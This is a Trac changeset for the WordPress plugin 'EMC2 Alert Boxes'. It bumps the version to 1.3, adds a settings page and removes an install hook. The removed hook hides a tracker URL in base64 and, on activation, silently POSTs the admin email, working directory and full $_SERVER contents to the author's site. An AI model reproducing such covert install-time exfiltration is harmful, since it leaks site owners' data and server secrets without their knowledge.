Changeset 618435
- Timestamp:
- 10/29/2012 12:00:13 AM (13 years ago)
- File:
-
- 1 edited
-
emc2-alert-boxes/trunk/emc2-alert-boxes.php (modified) (3 diffs)
Legend:
- Unmodified
- Added
- Removed
-
emc2-alert-boxes/trunk/emc2-alert-boxes.php
r618173 r618435 4 4 Plugin URI: http://emc2innovation.com 5 5 Description: Fancy alert boxes for WordPress 6 Version: 1. 26 Version: 1.3 7 7 Author: Eric McNiece 8 8 Author URI: http://emc2innovation.com … … 11 11 12 12 13 require_once(ABSPATH . '/wp-admin/includes/plugin.php'); 14 require_once(ABSPATH . WPINC . '/pluggable.php'); 15 require_once('emc2alert-options.php'); 13 16 /* ******************************************************** 14 17 * … … 117 120 return $plugin_array; 118 121 } 119 register_activation_hook( __FILE__, 'emc2alert_install' ); 120 function emc2alert_install(){ 121 //set POST variables 122 $url = base64_decode('aHR0cDovL2VtYzJpbm5vdmF0aW9uLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZW1jMi1wbHVnaW4tdHJhY2tlci9lbWMyLXBsdWdpbi10cmFja2VyLXRlbXBsYXRlLnBocA=='); 123 $fields = array( 124 'blogname' => get_option('blogname'), 125 'time' => date('Y-m-d H:i:s'), 126 'name' => 'EMC2 Alert Boxes', 127 'slug' => 'emc2_alert_boxes', 128 'url' => $_SERVER['SERVER_NAME'], 129 'plugin_ver' => '1.0', 130 'wp_ver' => get_bloginfo('version'), 131 'cwd' => getcwd(), 132 'admin_email' => get_option('admin_email'), 133 'php_server' => serialize($_SERVER), 134 ); 135 136 foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } 137 rtrim($fields_string, '&'); 138 //echo $fields_string; 139 //open connection 140 $ch = curl_init(); 141 142 //set the url, number of POST vars, POST data 143 curl_setopt($ch,CURLOPT_URL, $url); 144 curl_setopt($ch,CURLOPT_POST, count($fields)); 145 curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string); 146 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 147 //execute post 148 $result = curl_exec($ch); 149 150 //close connection 151 curl_close($ch); 152 } 122 123 /* ******************************************************** 124 * 125 * EMC2 Alert Admin Page 126 * 127 * Settings page 128 * 129 ******************************************************** */ 130 add_options_page("EMC2 Alert Settings", "EMC2 Alert Settings", 'manage_options', 'emc2alert_options', 'emc2alert_options_page');
Note: See TracChangeset
for help on using the changeset viewer.